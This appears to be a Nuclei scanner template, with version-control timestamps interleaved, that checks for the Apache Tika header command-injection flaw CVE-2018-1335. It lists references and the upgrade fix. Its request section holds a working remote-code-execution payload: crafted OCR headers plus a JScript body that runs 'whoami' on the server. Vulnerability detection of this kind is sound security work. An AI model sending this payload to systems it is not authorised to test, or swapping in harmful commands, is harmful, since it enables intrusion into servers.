2021-02-27 03:18:29 +00:00
id : CVE-2018-1335
info :
2022-07-08 19:07:55 +00:00
name : Apache Tika <1.1.8- Header Command Injection
2021-02-27 03:18:29 +00:00
author : pikpikcu
2021-09-10 11:26:40 +00:00
severity : high
2022-07-08 19:07:55 +00:00
description : Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.
2021-08-19 13:17:27 +00:00
reference :
- https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/
- https://www.exploit-db.com/exploits/47208
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E
2022-06-07 20:50:59 +00:00
- http://web.archive.org/web/20210516175956/https://www.securityfocus.com/bid/104001
2022-07-08 19:07:55 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-1335
2022-07-26 13:58:43 +00:00
remediation : Upgrade to Tika 1.18.
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-1335
2023-07-11 19:49:27 +00:00
epss-score : 0.97341
cpe : cpe:2.3:a:apache:tika:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : tika
tags : edb,cve,cve2018,apache,tika,rce,intrusive
2021-02-27 03:18:29 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-27 03:18:29 +00:00
- method : PUT
path :
- "{{BaseURL}}/meta"
2023-07-11 19:49:27 +00:00
body : var oShell = WScript.CreateObject('WScript.Shell');var oExec = oShell.Exec("cmd /c whoami");
2021-02-27 03:18:29 +00:00
headers :
X-Tika-OCRTesseractPath : cscript
X-Tika-OCRLanguage : //E:Jscript
Expect : 100 -continue
Content-type : image/jp2
Connection : close
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-02-27 03:18:29 +00:00
words :
- "Content-Type: text/csv"
- type : word
part : body
2023-07-11 19:49:27 +00:00
words :
- org.apache.tika.parser.DefaultParser
- org.apache.tika.parser.gdal.GDALParse
2021-02-27 03:18:29 +00:00
condition : and
- type : status
status :
- 200